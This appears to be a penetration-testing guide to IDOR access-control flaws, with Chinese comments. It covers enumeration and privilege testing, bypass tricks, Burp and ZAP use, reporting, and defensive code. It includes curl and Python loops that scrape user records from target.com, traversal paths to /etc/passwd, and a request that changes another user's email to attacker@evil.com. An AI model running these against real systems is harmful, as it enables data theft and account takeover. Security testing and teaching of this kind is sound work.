Overview
IDOR (Insecure Direct Object Reference) is an access control vulnerability that occurs when an application directly uses user-supplied input to access resources without verifying whether the user has permission to access that resource. This skill provides methods for detecting, exploiting, and preventing IDOR vulnerabilities.
Vulnerability principle
The application uses predictable identifiers (such as IDs, filenames) to directly reference resources without verifying whether the current user has permission to access that resource.
Dangerous code example:
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
Testing methods
1. Identify direct object references
Common resource types:
- User ID
- File ID/filename
- Order ID
- Document ID
- Account ID
- Record ID
Common locations:
- URL parameters
- POST data
- Cookie values
- HTTP headers
- File paths
2. Enumeration testing
Sequential ID testing:
/user?id=1
/user?id=2
/user?id=3
UUID testing:
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
Filename testing:
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
3. Horizontal privilege testing
Access another user's resources:
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
Access another user's files:
/files/user100_document.pdf
测试: /files/user101_document.pdf
4. Vertical privilege testing
Regular user accessing administrator resources:
/admin/users?id=1
/admin/settings
/admin/logs
Exploitation techniques
User information disclosure
Enumerate user profiles:
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
File access
Access another user's files:
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
Combined with directory traversal:
/files/../admin/config.php
/files/../../etc/passwd
Data modification
Modify another user's data:
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
Batch operations
Batch data retrieval:
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
Bypass techniques
ID obfuscation
Base64 encoding:
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
Hash values:
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
Parameter name obfuscation
Use different parameter names:
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
HTTP method bypass
Try different HTTP methods:
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
Path obfuscation
Try different paths:
/api/v1/user/123
/api/user/123
/user/123
/users/123
Tool usage
Burp Suite
Using Intruder:
- Intercept the request
- Send to Intruder
- Mark the ID parameter
- Use a numeric sequence or custom list
- Observe response differences
Using Repeater:
- Manually modify the ID
- Test different values
- Observe the response
OWASP ZAP
# 使用ZAP进行IDOR扫描
zap-cli active-scan --scanners all http://target.com
Python script
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
Verification and reporting
Verification steps
- Confirm that unauthorized resources can be accessed
- Verify that other users' data can be read, modified, or deleted
- Assess the impact (data leakage, privacy violation, etc.)
- Record the complete POC
Report key points
- Vulnerability location and resource identifier
- Accessible unauthorized resources
- Complete exploitation steps and PoC
- Remediation recommendations (access control, resource mapping, etc.)
Protective measures
Recommended solutions
-
Access control verification
def get_user_data(user_id, current_user_id): # 验证权限 if user_id != current_user_id: raise PermissionDenied("Cannot access other user's data") # 返回数据 return db.get_user(user_id) -
Indirect object references
# 使用映射表 user_mapping = { 'abc123': 100, 'def456': 101, 'ghi789': 102 } def get_user(mapped_id): real_id = user_mapping.get(mapped_id) if not real_id: raise NotFound() return db.get_user(real_id) -
Role-based access control
def check_permission(user, resource): if user.role == 'admin': return True if resource.owner_id == user.id: return True return False -
Resource ownership verification
def update_user_data(user_id, data, current_user): user = db.get_user(user_id) # 验证所有权 if user.id != current_user.id and current_user.role != 'admin': raise PermissionDenied() # 更新数据 db.update_user(user_id, data) -
Use unpredictable identifiers
import uuid # 使用UUID替代顺序ID resource_id = str(uuid.uuid4()) -
Principle of least privilege
- Return only data that the user has permission to access
- Use data filtering
- Limit the range of accessible resources
Notes
- Perform only in an authorized testing environment
- Avoid accessing or modifying real user data
- Note the differences in access control across different resources
- Pay attention to request frequency during testing to avoid triggering protections